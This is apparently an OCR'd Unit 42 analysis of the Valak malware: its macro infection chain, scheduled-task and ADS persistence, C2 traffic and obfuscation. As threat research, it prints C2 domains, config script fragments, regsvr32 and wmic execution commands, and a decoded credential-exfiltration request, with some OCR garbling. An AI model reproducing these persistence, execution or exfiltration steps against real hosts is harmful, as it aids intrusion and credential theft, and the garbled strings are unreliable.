https://unit42.paloaltonetworks.com /valak-evolution/

Evolution of Valak, from Its Beginnings to Mass Distribution

By Brad Duncan

Published: 2020-07-24 - Archived: 2026-04-05 14:26:43 UTC
Executive Summary

First noted in late 2019, Valak is an information stealer and malware loader that has become increasingly common
in our threat landscape. From April through June of 2020, we saw waves of Valak malware two to four times a
week on average through an email distribution network nicknamed Shathak or TA551. Characteristics of Valak

include:

e Valak relies on scheduled tasks and Windows registry updates to remain persistent on an infected Windows

host.

o Valak uses Alternate Data Stream (ADS) as a technique to run follow-up malware on an infected host.

e Recent Valak infections show an increase in obfuscated code for configuration scripts used during the
infection, possibly as an attempt to avoid detection.

e Since April 2020, we have seen a great deal of Valak malware distributed by an actor sometimes referred to
as Shathak/TA551.

This blog covers the history of Valak, reviews the chain of events for an infection, examines traffic generated by
Valak and explores recent updates in obfuscation techniques used by the malware in order to evade detection. This
blog also examines the Shathak/TA551 distribution system that has been consistently pushing Valak since April
2020.

Palo Alto Networks customers are protected from Valak by our Threat Prevention subscription for the Next-

Generation Firewall.

Chain of Events
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Figure 1. Chain of events for recent Valak malware activity.

Figure 1 shows the chain of events seen for Valak infections in June and early July 2020. For a Windows computer

to become infected, a victim must:

e Open malspam with password-protected ZIP attachment. On June 30 and July 1, 2020, we saw indications
there may also have been a link to download a ZIP archive instead of an attachment.
o Extract Microsoft Word document from the password-protected ZIP archive using a unique password from

the message text.
e Open the Word document as shown below in Figure 2 and enable macros.

Page 2 of 18



https://unit42.paloaltonetworks.com /valak-evolution/

= material.06.20.doc - Word Sign in K3 - O X

File Home Insert Design Layout References Mailings Review View Help Q Tell me (,Q'_ Share

I SECURITY WARNING Macros have been disabled. Enable Content X

This document created in previous version of Microsoft Office Word.

To view or edit this document, please click "Enable editing" button
on the top bar, and then click "Enable content".

Page1of 1 Owords ES| = B - 1 + 84%

Figure 2. Example of a Microsoft Word document from June 24, 2020, with macros for Valak.
For Valak infections during June 2020, the initial activity consisted of:

e An HTTP or HTTPS URL ending with .cab that returned a DLL to install Valak.

e Valak DLL was saved to the C:\ProgramData\ directory using a random file name, usually with a .dat or
.jpg file extension, as shown in Figure 3.

e Valak DLL was run using regsvr32.exe -s [filename]

e Popup message stating the DLL was successfully run, as shown in Figure 4.

e A JavaScript configuration file appeared as a random file name (always the same name for each wave of
infections) under the C:\Users\Public\ directory, as shown in Figures 5 and 6.

e Initial HTTP command and control (C2) traffic returned encoded ASCII text used to create additional

malware/artifacts for the infection.

| + | C\ProgramData - O X
Home Share View - o
<« I « Local Disk (C) » ProgramData > v U | Search ProgramData L
Name Date modified Type Size ~
=] 51508.jpg 6/24/2020 12:17 PM JPG File 268 KB v
items IS
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Figure 3. Initial Valak DLL retrieved after enabling macros on the Word document from Figure 2.

RegSwvr3Z

DlIRegisterServer in c\programdata\31302.jpg
succeeded,

oK

Figure 4. Pop-up message on a Windows 10 host when an initial Valak DLL was successfully run

using RegSvr32.exe after macros were enabled on June 24, 2020.

| s | C:\Users\Public — O X
Home Share View v o
« v 1 « Users » Public » v | | Search Public »r
Name Date modified Type Size ~
0 mUDSgcHQn.pAnNR 6/24/2020 12:18 PM  PANNR File 13 KB v
items EE% =

Figure 5. Initial script file in C:\Users\Public\ directory used during Valak infection from June 24,
2020.

F| @ ¢ s | mUDSqcHQn.pARNR - WordPad - o X

var DgMVglhkU B AzP = {

_J kUmpsGR :
["http://e87.dspb.akamaidege.net', 'http://insiderppe.cloudapp.net
', 'http://pagead46.1l.doubleclick.net', '"http://thepicklepilot.com’'
, '"http://joonaskallinen.com', 'http://xfitnessproducts.com’, "http:
//59x%idd-fuel.com', 'http://19geds-space.com', 'http://55sfors-
cask.com'],

GWDCh W LwL : 'mad35',

MbXhqCPVyftLmbCIGxtPX: 41,

pUQmMO izDdhljbm : 21,

VDT dhlPFobfixrHmjA : 21,

IoznsWccFc : 20,

NvU mrsOCZrkQkhpxZGG : '8rB6sSSG',

>

ILmsnYwcMeY : 'license.]jsp'

i i\ = DAMVoalhll B AwD 4 LIl FRIND - v

Figure 6. Contents of the JavaScript configuration file from June 24, 2020.
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Figure 6 reveals variable names are obfuscated in the JavaScript configuration file. This is an example of
obfuscation that we have noted since June 2020, and it is covered in more detail later in this blog when discussing

Valak developments.

As the infection progressed, three things happened near-simultaneously to make Valak persistent on an infected

Windows host:

e A Windows executable (EXE) appeared in the infected user's AppData\Local\Temp directory as a random
file name ending in .bin (PE32 executable, Mono/.Net assembly), as shown in Figure 7.

e Windows registry entries were created under the key for
HKCU\SOFTWARE\ApplicationContainer\Appsw64

e Arandomly-named text file and JavaScript (JS) file both appeared under the C:\Users\Public\ directory, as
shown in Figures 8, 9 and 10.

e A scheduled task was created to run the JS file located under C:\Users\Public\ and repeat running it every

four minutes, as shown in Figure 11.

| = | C\Users\ \AppData\Local\Temp - O X
Home  Share  View o )
<« v « AppData » Local » Temp v U | Search Temp g

Name h Date modified Type Size
D 6461201041.bin 6/24/2020 12:19 PM BIN File 6 KB
1 item

Figure 7. EXE file with a .bin file extension from the June 24, 2020, Valak infection.

| s | C:\Users\Public - O X
Home Share View - o
« v P « Users » Public » v O | Search Public ol
e
Name Date modified Type Size ~
JavaScript file used to keep Valak infection persistent
text file
D mUDSqcHQn.pAnNR ' 6/24/2020 12:18 PM PANNR File 13 KB
B wsupiaGevix €  6/24/2020 12:19PM  Event Log / 3 KB
WsuUpdate.js 6/24/2020 12:19 PM  JavaScript File 7 KB v
items Bz | =

Figure 8. Additional artifacts in the C:\Users\Public\ directory created during the infection.

Page 5 of 18



https://unit42.paloaltonetworks.com /valak-evolution/

F| & " ¢ s | WSUDIAG.EVTX - WordPad - O X

Home View v o

OttuxvPgbzThBgM111RMKKTLMdnGRcYfYhfAFjehCNumWdNvKznSJcTUBEVEVUBJn
QFeAfBUGRLkgMDfqydBGAGQiULeEqlfAiJSeoKgZiIsVczIIgwBXwUcbwSvLbLUkw
VXs0zrveIVngaBUOclvyxbzqOxsgbd fxU0UhZgAMVEsovxSzKoJCrPrPAMSV]VPFL
DgBKJUv0oeoGysDPTMXSUxHUeSfGzEL1SgAOJPMAUGHNOKCXtECQnvSQgJk jNrtRKM
yvQkAImROWVdxmicLvpBTaYKoYrdVKyTATtfg) fXBYFrfYMt zFcdyXImVJzIPPtzc
tGjOpEVEIXXmPWorZaCgUiPQaVhyBAUOKDEjcrXaGUczxEXEAkleysJuaCGnvOodIi
1rvOXJIBTFDpJXZIpoJhROCELIFAYoyYLVMRKkDbZ JDOWZXYpcsbXVyEZkmKAXGIPWLL
vzRDAJOJj1tUbmIFIjualUnWiKehlmMjffUdL1yRGrFfTEnUAqwtshoPMceuQIktwu
TxDHVGFiwBFsGEfKNIQLNnZ kmuCOFgrXPkWHpmXaPjJPEUUlRMgpAlGfLZdHsivCdHn
VwaGTTtUGKygWKkuUPWZplHSBakE1kvKfXApCuZzt iMPYTynhuzrcNxihZLxEcPsVq
gqtVYEhYEHFHWYJytNTBotvrVnINImnusMfpeejagKFcBDRQXkmOvNmrADCjdNXNy]
emXMWINNSTtZLGiUcvThKLMkz tGKZyVDUbTbkHSfVIiswF1kFNKfOSIvJRAgKNWGT
VdhaaICYDcisIeElZgeWBkzujpQIzzHcUJKLBMPXNTWzsVAGMQuCdPOJFaaRaWpmu
fGTKDkaTJIrhjchHVbAfmvuquUvRROVprtkJYLTYWyDuxhaZNIRsFygmmmS1rghTYy
UMOYQPiJbMRKZTtnurQHitdS1SjzLMymlO0XcmbfReXUVwgfBUnrotlSUeVDiDgyrD
LDQISVhWXUIEdyWSbkGMveTSPTstUVARIUbHNVRQWCcXYJUhdR

Figure 9. Contents of the text file, a random string of text.

F| & % ¢ s | WsuUpdatejs - WordPad — O X

Home View o

>

var sBaLGZEMWV hKdvx = {

VMX1 FpxBrRMDDbTn :
["http://e87.dspb.akamaidege.net', 'http://insiderppe.cloudapp.net
', 'http://pageadd46.1l.doubleclick.net', "http://thepicklepilot.com’
, "http://joonaskallinen.com', "http://xfitnessproducts.com’, "http:
//59xidd-fuel.com', 'http://19geds-space.com', "http://55sfors-
cask.com'],

GWDCh W LwL : 'mad35',

_hhBmdBwCzCeB : 'D814B31AD12807B1EAEB43F8D68IDFOF",

pUQmO izDdhljbm : 20,

VDT dhlPFobfixrHmjA : 1,

IoznsWccFc : 3,

NvU mrsOCZrkQkhpxZGG : '8rBesSSG', i
MoXhqCPVyftImbCIGXtPX : 41, 32 character ASCII string
eCCPRRAAFRNPUU : 'archive.jsp' representing a hexadecimal
} value that identifies the
var tmwUqQFFSHVKYYL = true; infected Windows host
war CFReZ%ornicCK = [1 - v

Figure 10. Contents of the JS file used to keep the Valak infection persistent.

(® Task Scheduler — O X
File Action View Help
L ARs)alll 7 Ho

® Task Scheduler (Local)
» | Task Scheduler Library

Name Status Triggers Created
(® Smart Update Service Ready At12:19 PM on 6/24/2020 - After triggered, repeat every 00:04:00 indefinitely. 6/24/2020 12:19:51 PM

General Triggers Actions Conditions Settings History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task
property pages using the Properties command.

Action Details

Start a program explorer.exe C:\Users\Public\WsuUpdate.js
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Figure 11. Scheduled task for JS file used to keep the Valak infection persistent.
If the C2 domains remained active during the infection, as early as four minutes later, we saw follow-up malware:

e Valak C2 traffic returned encoded ASCII text used to create a follow-up malware EXE.

o The follow-up malware EXE was appended to the randomly-named text file in C:\Users\Public using ADS,
as shown in Figure 12.

e A scheduled task was created to run the follow-up malware EXE once, shortly after it was created, as

shown in Figure 13.

@ AlternateStreamView — O X
File Edit View Options Help

IBEX R QA
Stream Name Filename Full Stream Name Stream Size
{2]:9c31fd9d:SDATA C:\Users\Public\WSUDIAG.EVTX C:\Users\Public\WSUDIAG.EVTX:9c31fd9d 589,824

1 item(s) NirSoft Freeware. http:/iwww.nirsoft.net
| + | C:\Users\Public —
Home Share View
&« v 4 « Users » Public v O Search Public
Name Date modified Type Size
text file modified after it first appeared
appended
O mUDSqcHQn.pAnNNR 6/24/2020 12:18 PM PANNR File 13 KB with ADS for
’ @ WSUDIAG.EVTX 6/24/2020 12:32 PM Event Log 3 KB| fo”owup
WsuUpdate.js 6/24/2020 12219 PM  JavaScript File 7 KB v| malware
items
Figure 12. Text file in C:\Users\Public\ directory updated with ADS.
®Task Scheduler — O X
File Action View Help
= 2@ |
® T‘?Sk Schediies (Loca_l) Name Status Triggers Created
» _» Task Scheduler Library fif
(5 Smart Update Service Ready At12:19 PM on 6/24/2020 - After triggered, repeat every 00:04:00 indefinitely. 6/24/2020 12:19:51 PM
(® WSUPackage_rev9c31fd9d Ready At 12:34 PM on 6/24/2020 6/24/2020 12:32:08 PM

General Triggers Actions Conditions Settings History (disabled)

When you create a task, you must specify the action that will occur when your task starts. To change these actions, open the task
property pages using the Properties command.

Action Details
Start a program wmic process call create C:\Users\Public\WSUDIAG.EVTX:9¢31fd9d

Figure 13. Scheduled task to run the follow-up malware.

In our tests, running Valak from a U.S. location on a vulnerable Windows 10 host returned a banking Trojan called

IcedID as the follow-up malware. In one case, we saw both IcedID and NetSupport Manager RAT-based malware

delivered as follow-up malware on a Windows 7 host from June 2020.

Valak Infection Traffic
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The infection starts when a victim enables macros on one of the malicious documents. This usually generates a

URL ending with .cab that returns a Windows DLL file. Figure 14 shows a Valak infection from June 24, 2020,

filtered in Wireshark to list the HTTP requests and other web-based traffic. The first line shows a URL that ends
with .cab. A TCP stream of this activity is shown in Figure 15, and it reveals signs of an EXE or DLL file returned

from the server.

[l‘(http.request or tis.handshake.type eq 1) and !(ssdp) '1 L
Time Dst port Host Info =
= 2020-06-24 i 821468561 146 mbzrrt.com /unbbmevd/d76.php?1=ftywlil.cab
2020-06-24 19:19.. 216.58.194.34 80 pagead46.l.doubleclick.net GET /license.jsp?client=6&ret=skin6&
2020-06-24 19:19.. 45.12.4.33 80 thepicklepilot.com GET /license.jsp?client=6&ret=skin6&
2020-06-24 19:24.. 195.22.26.248 80 e87.dspb.akamaidege.net GET /archive.jsp?page=L0%60%08%C3%AB
2020-06-24 19:24.. 172.217.12.66 80 pagead46.l.doubleclick.net GET /archive.jsp?page=%C3%A9!g%C2%B5
2020-06-24 19:24.. 45.12.4.33 80 thepicklepilot.com GET /archive.jsp?page=%C2%8F%C2%BF%C
2020-06-24 19:24.. 45.12.4.33 80 thepicklepilot.com GET /db.aspx?dfc=3&vDImon=64 HTTP/1.
2020-06-24 19:28.. 195.22.26.248 80 e87.dspb.akamaidege.net GET /archive.jsp?page=%0B%3A%C2%B3%C
2020-06-24 19:28.. 172.217.9.2 80 pagead46.l.doubleclick.net GET /archive.jsp?page=%C3%B51)0%C3%9
2020-06-24 19:28.. 45.12.4.33 80 thepicklepilot.com GET /archive. jsp?page=%5D%C2%86%04K%
2020-06-24 19:28.. 45.12.4.33 80 thepicklepilot.com GET /db.aspx?dfc=38&vDImon=64 HTTP/1
2020-06-24 19:32.. 195.22.26.248 80 e87.dspb.akamaidege.net GET /archive.jsp?page=0%C2%98%C3%89¢C
2020-06-24 19:32.. 216.58.194.34 80 pagead46.l.doubleclick.net GET /archive.jsp?page=%C2%8B%C3%8Am5
2020-06-24 19:32.. 45.12.4.33 80 thepicklepilot.com GET /archive. jsp?page=%C3%BDW%C2%95%
2020-06-24 19:34.. 72.246.84.5 443 www.intel.com Cclient Hello
2020-06-24 19:34.. 23.7.82.159 443 support.apple.com client Hello
2020-06-24 19:34.. 104.244.42.195 443 help.twitter.com client Hello
2020-06-24 19:34.. 23.53.252.204 443 support.microsoft.com Client Hello
2020-06-24 19:34.. 23.7.91.168 443 support.oracle.com client Hello
2020-06-24 19:34.. 23.7.91.168 443 support.oracle.com client Hello
2020-06-24 19:35.. 96.6.84.22 443 www.oracle.com Client Hello
2020-06-24 19:35.. 165.227.64.184 443 load4th.casa client Hello
2020-06-24 19:36.. 195.22.26.248 80 e87.dspb.akamaidege.net GET /archive. jsp?page=%C2%80%C3%A6%C
2020-06-24 19:36.. 167.71.227.19 443 sweeteator.best Client Hello
2020-06-24 19:36.. 52.114.133.60 443 vi10.vortex-win.data.micro.. Client Hello
2020-06-24 19:36.. 172.217.12.34 80 pagead46.l.doubleclick.net GET /archive.jsp?page=%C2%84%C3%AD%C
2020-06-24 19:36.. 45.12.4.33 80 thepicklepilot.com GET /archive. jsp?page=%60%08%C3%AD%C
2020-06-24 19:36.. 45.86.182.183 80 joonaskallinen.com GET /archive.jsp?page=%C2%8B%C2%BF%C
AAAA AR AA ANLNHT O AAA ArcAa Aanec on A1 ATl sasmdaismrimdata Aam ArT Jmendesmland fismdaba laan lnbknteas o lde b

Figure 14. Traffic from a Valak infection with IcedID as the follow-up malware from June 2020
filtered in Wireshark.

GET /unbbmevd/d76.php?l=ftywlil.cab HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Mozilla/4.0 (compatible; win32; wWinHttp.WinHttpRequest.5)
Host: mbzrrt.com

HTTP/1.1 200 OK

Date: Wed, 24 Jun 2020 19:17:54 GMT

Server: Apache/2.2.15 (Cent0S)

X-Powered-By: PHP/7.2.31

Content-Description: File Transfer

content-Disposition: attachment; filename="ftywlll.cab"

Expires: ©

Cache-cControl: must-revalidate

Pragma: public

content-Length: 273408 . .
connection: close Indicators of an EXE or DLL file

Content-Type: application/octet-stream ratyrned from the server.

7 @. . oo P e e e e e I..L.!

This program cannot be run in DOS mode.

B e ?2.A. .. .. ?2.C..... 2 - T Hoviinnn
e e *0..... e Rich............ PE..L =] -

Figure 15. TCP stream for the HTTP GET request ending in .cab that returned a Windows DLL file.

Checking the binary in VirusTotal shows this file is a DLL. This DLL is an installer for Valak. Shortly after the
initial HTTP traffic for the Valak DLL, we see other HTTP GET requests starting with:

e license.jsp?client=
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e archive.jsp?page=
o db.aspx?dfc=

The HTTP requests are Valak C2 traffic, which is sent to decoy domains (non-malicious domains from legitimate
organizations) and malicious domains. These domains are listed in the initial Valak script previously shown in

Figure 5. For example, for Valak infections from the June 24, 2020, wave, the decoy domains were:

e e87.dspb.akamaidege.net
e insiderppe.cloudapp.net

e pagead46.l.doubleclick.net
Also noted in Figure 5 are the malicious domains from the June 24, 2020, wave of Valak:

o thepicklepilot.com
e joonaskallinen.com

 xfitnessproducts.com

Figure 5 also shows three additional domains from the June 24, 2020, wave of Valak. These domains appear to be

fake or possibly placeholders because they were not registered and did not resolve to any IP address.

e 59xidd-fuel.com
e 19geds-space.com

e 55sfors-cask.com

Valak C2 traffic returns data as encoded ASCII text that is decoded on the victim host and saved as malware items
like script files, EXE used during the infection and data for registry updates for the Valak infection. Figure 16

shows an example of this traffic.
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GET /license.jsp?
client=6&ret=skiné&controller=U%25C3%25A2%250A%25C3%25A7%2505%255B%25C3%2594%25C3%2599%
25C2%25AD%25C3%25BE%2512k%2517Y%251D%25C2%259E%25C2%2591%25C3%25BB%25C2%258A%25C2%258E%
25C3%2581%251E%25C2%25B8%25C2%25A95%25C2%25B1vZ%257C%253A9%2510%25C3%259D%25C3%25A6 -
D%25C2%25B82%25C2%25A6%25C3%259B%2501%25C2%25B4%250C -

%257BTu5%25C3%2597%25C3%25B0 )%256009%25C3%258D%25C3%25A3%252F%25C2%25B27%25C2%25BB%2502%
25C3%25BA%251B%25C3%25A2%253A%25095%25C3%25AA%25C2%25B7%25C3%25B4%25C3%25A3kh%2518 ) m%25
C3%25B4h%25C3%25B4%25C3%25ADX&baseur1=zUhfIcXxFEBBxbHNBigcInPTyDrfEesoVtrncPVJzUGQy&bala
ncer=mob3445&cst=XySaFQ HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; wWOw64; Trident/8.0;
.NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)

Host: thepicklepilot.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Wed, 24 Jun 2020 19:19:51 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 22750

Connection: keep-alive

Vary: Accept-Encoding
Content-Encoding: gzip

w51NwgXxGwrDCnmzDogMBw7RUW4AWRSCKiwo@DwoTCvDNaAMO8w(qlZV8KMPCc01iJcOCwWqYOWq4EXZZ1IMOiw4TCrcK
IwqUHTDWGSR1rw5XDiDUECQE3w7A4w64Tw7AqwpVVw5vDpVoXTMOOUMOCQcOgw6Z/
w43CtnkBUMbCVSOMZCPCj2wfVXTfDhMKiwo7CocONIsOXwgN4Vc0eJEQOW7Xxhw6DDgHCZISKmw7nNnDsSHNSAMO+wpT
DiFTDsSS00T8KTW7AVW67COCKANHVAZFMuKhvDmMOXJOcOnwoUlwsOmwr s8wofCSMK/wpxrA2/
CpmvD1MKgNsKeVSUYwojDpkIawoITAQFbwpzDksKOScKUNCOEwgbDvjnDmmzCn8KOB80gTx3DhsOAW7hBw63Cr j
PDuUcOKJcK7wrgpwpFSOcKdHBOAW79VZXHDkFzD1znC180Y0OTCqn/DrM0O/w601Qs00Ph/
Cvc0qdM04ZAJfw7TDpSOUW7LC1WrCv80Cw47Dr 8KuwqMOwpkpT1VNw4r CuMOlwr /
DNcK+WsORTOXCpcKRWOTDSMKRGMKewq/

ckn17TsKOwn3Nrz8+wnzCnRAXWSA.1asNOMG7DhnIVwAF7 TRRGWATNNC/CacOTwaFaNMokTi / 3

Figure 16. Valak C2 over HTTP traffic returning ASCII data used to create malware items on the

victim host.

In addition to HTTP GET requests, Valak uses HTTP POST requests to exfiltrate certain types of data. In Figures
17 and 18, we see an HTTP POST request starting with class4.aspx?internalService= that sends login credentials

used for Microsoft Outlook from an infected Windows host.

[I ‘(http.request or tls.handshake.type eq 1) and !(ssdp) ME
Time Dst port Host Info =
2020-07-06 16:10.. 96.6.84.22 443 www.oracle.com Client Hello
2020-07-06 16:10.. 23.11.216.158 443 support.microsoft.com Cclient Hello
2020-07-06 16:10.. 167.172.97.140 443 mercuryloadz.com Cclient Hello
2020-07-06 16:12.. 172 ZEIT AL 129 80 1ha4. ggpht com GET /archlve jsp?page=ZgC%C2%95%C3
2020-07-06 16: 8 £ jSp?page=%C2%A0%3A%06
201HTTP POST request seen on an |nfected Wlndows host with Outlook jsp?page=%C3%BFE!%03%
20 jsp?page=%C2%8A%C3%B5

2020-07-06 16:12..
2020-07-06 16:12..
2020-07-06 16:12..

95 169 182 116 GET /archlve ]Sp’?page—%CZ%BD%CZ%AS

95, 169 il 116 gulasnacks com POST /class4 aspx71nternalServ1ce—

2020-07-06 16:12.. 51.210.73.175 2443 Niretyres.top CTIient HAello

2020-07-06 16:13.. 51.210.73.175 443 hiretyres.top client Hello

2020-07-06 16:16.. 172.217.1.129 80 1lh4.ggpht.com GET /archive.jsp?page=%C2%89.Z"'R8%
2020-07-06 16:16.. 192.225.159.13 80 h-sdk.online-metrix.net GET /archive.jsp?page=%02%C3%AA%C3
2020-07-06 16:16.. 35.186.241.51 80 api.mixpanel.com GET /archive.jsp?page=%C3%88%C3%AA
2020-07-06 16:16.. 107.161.23.204 80 raveoffice.com GET /archive.jsp?page=%12L%C2%B3%C
2020-07-06 16:16.. 95.169.182.116 80 gulasnacks.com GET /archive.jsp?page=v%C2%B2uK%3A
2020-07-06 16:16.. 95.169.182.116 80 gulasnacks.com GET /db.aspx?dfc=38&vDImon=64 HTTP
2020-07-06 16:18.. 51.210.73.175 443 plutiasitop.top client Hello

2020-07-06 16:20.. 172.217.1.129 80 1lh4.ggpht.com GET /archive.jsp?page=%C2%85%C3%83
2020-07-06 16:20.. 192.225.159.13 80 h-sdk.online-metrix.net GET /archive.jsp?page=32n~D3b%C2%9
2020-07-06 16:20.. 35.186.241.51 80 api.mixpanel.com GET /archive.jsp?page=g%C2%94%06%C
2020-07-06 16:20.. 107.161.23.204 80 raveoffice.com GET /archive.jsp?page=%C2%A3%C3%B5
2020-07-06 16:20.. 95.169.182.116 80 gulasnacks.com GET /archive.jsp?page=%C3%B9%C3%97
2020-07-06 16:20.. 95.169.182.116 80 82ryet-water.com GET /archive.jsp?page=%C2%BB%C3%8F

aNNN AT Ae 182092 E4 n4n 79 A7E AAD mnlutsiacnitan +tan Aliant Ualla
4 »

Figure 17. Valak infection traffic filtered in Wireshark showing an HTTP POST request from the C2

traffic.

Page 10 of 18



https://unit42.paloaltonetworks.com /valak-evolution/

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= =
(]

POST /class4.aspx?

internalService=20_E&fRep=sb&sPerform=ZjI3MjR1YjUONA%3D%3D&iis _alias=ZDgXxYzQ5MTMtNWYz
MSEEMzCYLTg4ZmQtMWMIMZY4YZCcAMWQW&ref=TUFJTF9EQVRB&CAt=Y2XpZW50Z3JIhYmI1lcg%3D%3D&group=
8113309a-3fc2-4dc9-bcod-2984ec27b2cc&lexer=746 HTTP/1.1

Host: gulasnacks.com

Content-Length: 224 Login credentials of email account used for

Expect: 100-continue . i .
. Microsoft Outlook on the infected Windows host
HTTP/1.1 100 Continue

€210cF9zZXJ2ZXI9bWFpbC55YWhvby5jb20maw1lhcF9zZXJ2ZXI9bWFpbC55YWhvby5jb20mzZwWihaww9cmFuz
GOtLNNOCMFUZ2VyMTkOQH1haGOvVLMNVbSZpbWFWX3VzZXI9cmFuZG9tLNNOcmFuZ2VyMTkeImltYXBfcGFzc3
dvemQ9d2UeZTQtMG8whzBVLSRMYXJOeiEMDQONCYOKDQONCYg%3D%3DHTTP/1.1 200 OK

Server: nginx/1.10.3 (Ubuntu)

Date: Mon, 06 Jul 2020 16:12:13 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: ©

Connection: keep-alive

Cache-Control: private, must-revalidate

Base64 string translates to:
smtp_server=mail.yahoo.com&

pragma: no-cache imap_server=maiI.yahoo.com&
g’églggiklel email=random.stranger194@yahoo.com&

laravel_session=eyJpdiI6I1I1S3JmcjF2ecoR Imap_user=random.stranger194&

HRRRGOVY2JOK3BEUWZhY1dkMEJ1Q3d1dUZ5TUGXZ imap password=we4e4-000000-$fartz!&
AyYTczMzhjZGZhOTQXYj I2MWUXZMU2Y3jBhYjYyO -

ifQ%3D%3D; expires=Mon, 06-Jul-2020 18:12:13 GMT; Max-Age=7200; path=/; httponly -

Figure 18. TCP stream of the HTTP POST request showing a base64 string containing Outlook

login credentials of the infected host.

We primarily see IcedID as follow-up malware from the Valak infections generated from U.S. locations. Figure 19

shows indicators of IcedID during the Valak infection traffic.

[l[(http.request or tis.handshake.type eq 1) and !(ssdp) X] ML
Time Dst port Host Info =
2020-06-24 19:28.. 195.22.26.248 80 e87.dspb.akamaidege.net GET /archilve.jsp?page=%0B%3A%C2%B3%C
2020-06-24 19:28.. 172.217.9.2 80 pagead46.l.doubleclick.net GET /archive.jsp?page=%C3%B51)0%C3%9
2020-06-24 19:28.. 45.12.4.33 80 thepicklepilot.com GET /archive.jsp?page=%5D%C2%86%04K%
2020-06-24 19:28.. 45.12.4.33 80 thepicklepilot.com GET /db.aspx?dfc=38&vDImon=64 HTTP/1
2020-06-24 19:32.. 195.22.26.248 80 e87.dspb.akamaidege.net GET /archive.jsp?page=0%C2%98%C3%89C
2020-06-24 19:32.. 216.58.194.34 80 pagead46.l.doubleclick.net GET /archive.jsp?page=%C2%8B%C3%8AmS
2020-06-24 19:32.._45.12.4.33 80__thepicklepilot.com GET /archive. jsp?page=%C3%BDWIC2%95%
2020-06-24 19:34..)72.246.84.5 443 www.lntel.com Client Hello §
2020-06-24 19:34..[23.7.82.159 443 support.apple.com client Hello IcedID traffic
2020-06-24 19:34..[104.244.42.195 443 help.twitter.com Client Hello during the Valak
2020-06-24 19:34..)23.53.252.204 443 support.microsoft.com client Hello . . .
2020-06-24 19:34..[23.7.91.168 443 support.oracle.com client Hello infection (malicious
2020-06-24 19:34..}23.7.91.168 443 support.oracle.com client Hello domains noted by
2020-06-24 19:35../96.6.84.22 443 www.oracle.com client Hello the arrovvs)
2020-06-24 19:35.. 165 227.64. 184 443 load4th casa client
2020-06-24 19:36.. g 850 ?page=%C2%80%C3%A6%C
2020-06-24 19:36..4167. 71 227 sweeteator best

2020-06-24 19:36.. v10.vortex-win.data.micro..
2020-06-24 19:36.. 172.217.12.34 80 pagead46.l.doubleclick.net GET /archlve jsp?page=%C2%84%C3%AD%C
2020-06-24 19:36.. 45.12.4.33 80 thepicklepilot.com GET /archive.jsp?page=%60%08%C3%AD%C
2020-06-24 19:36.. 45.86.182.183 80 joonaskallinen.com GET /archive.jsp?page=%C2%8B%C2%BF%C
2020-06-24 19:37.. 8.240.161.126 80 ctldl.windowsupdate.com GET /msdownload/update/v3/static/tru
2020-06-24 19:37.. 167 220 19 443 sweeteator best Client He
2020-06-24 19:40.. P archive.jsp?page=%C2%A3%C2%BD%C
2020-06-24 19:40.. 172 217 6 130 80 pagead46 1.doubleclick.net GET /archive.jsp?page=6%C3%96%14%C3%
2020-06-24 19:40.. 45.12.4.33 80 theplcklepllot com GET /archive. ]sp’page—%CZ%AD%cs%glP%
2020-06-24 19:40.._45.86.182.183 80 joonaskallinen.com GET /archive.jsp?page=%C3%9B%C3%91a%
2020-06-24 19:42.. client Hello

AAAA AE AA aAn.aa . ol e s P NSV VYAV
»

<

Figure 19. Indicators of IcedID as the follow-up malware during this Valak infection.

Recent Developments

As Valak has developed, we have noticed increased obfuscation in the Valak configuration script. This obfuscation
finds its way into other script and Windows registry updates used to keep the infection persistent. Figure 20 shows

configuration script from June 23, 2020, using Valak software version 40. Figure 21 shows configuration script
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from June 24, 2020, using Valak software version 41. Note how variable names and some of the values were

obfuscated when Valak changed from version 40 to version 41.

B s | VXoT_mDBJ.Wxa_X - WordPad - O X
Home  View Valak configuration script from June 23rd 2020 -~ @
far config = { ~
PRIMARY C2

['http://e87.dspb.akamaidege.net’, "http://insiderppe.cloudapp.net', "http:
//pagead46.1l.doubleclick.net', "http://cloptio.com', "http://50kmission.com
', '"http://fast-pacedworld.com', "http://82geod-misery.com’, 'http://76leof-
nerve.com', "http://29degod-soil.com'],

SOFT SIG : 'mad34', < software (Valak) signature

SOFT_VERSION: 40, <@ software (Valak) version
C2 REQUEST SLEEP : 21,

C2_FAIL SLEEP : 21,
C2_FAIL COUNT : 20,
C2 OB KEY : 'JxTRG4mY',

C2 PREFIX : 'license.]jsp'

variable names and values are in plain text

var SELECTED C2 = config.PRIMARY C2[0];

X

Math_imnl = function (A. hY |

Figure 20. Valak version 40 configuration script with variable names and values in plain text.

B = | mUDSqgcHQn.pAnNR - WordPad - O X
Home  View Valak configuration script from June 24th 2020 - @

lvar DgMVglhkU B AzP = { .
_J_kUmpsGR :
['"http://e87.dspb.akamaidege.net"', 'http://insiderppe.cloudapp.net’, "http:
//pagead46.]l.doubleclick.net', "http://thepicklepilot.com', "http://joonask
allinen.com', "http://xfitnessproducts.com', "http://59xidd-
fuel.com', "http://19geds-space.com', "http://55sfors-cask.com'],
GWDCh W ILwL : 'mad35’, software (Valak) signature

MbXhqCPVyftLmbCIGxtPX: 41, * software (Valak) version
pUQmMO_izDdhljbm : 21,

VDT dhlPFobfixrHmjA : 21,

ToznsWccFc : 20,

NvU mrsOCZrkQkhpxZGG : '8rB6sSsSG',

LmsnYwcMeY : 'license.jsp'
variable names and values now use encoded strings

var xSjU fcXxLpvWQTGEVQQj = DgMVglhkU B AzP. j kUmpsGR[O];

Math.imml = function (A. h) |
Figure 21. Valak version 41 configuration script with variable names and some values using

obfuscated text.

Like most obfuscation, this is likely an attempt to evade detection. As the weeks and months progress, we predict

further obfuscation in Valak’s configuration script and related files.
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Shathak/TA551 Distribution

Shathak or TA551 is the name some security researchers have given to a specific distribution method that uses
password-protected ZIP archives as attachments to malspam. The distribution network may be associated with
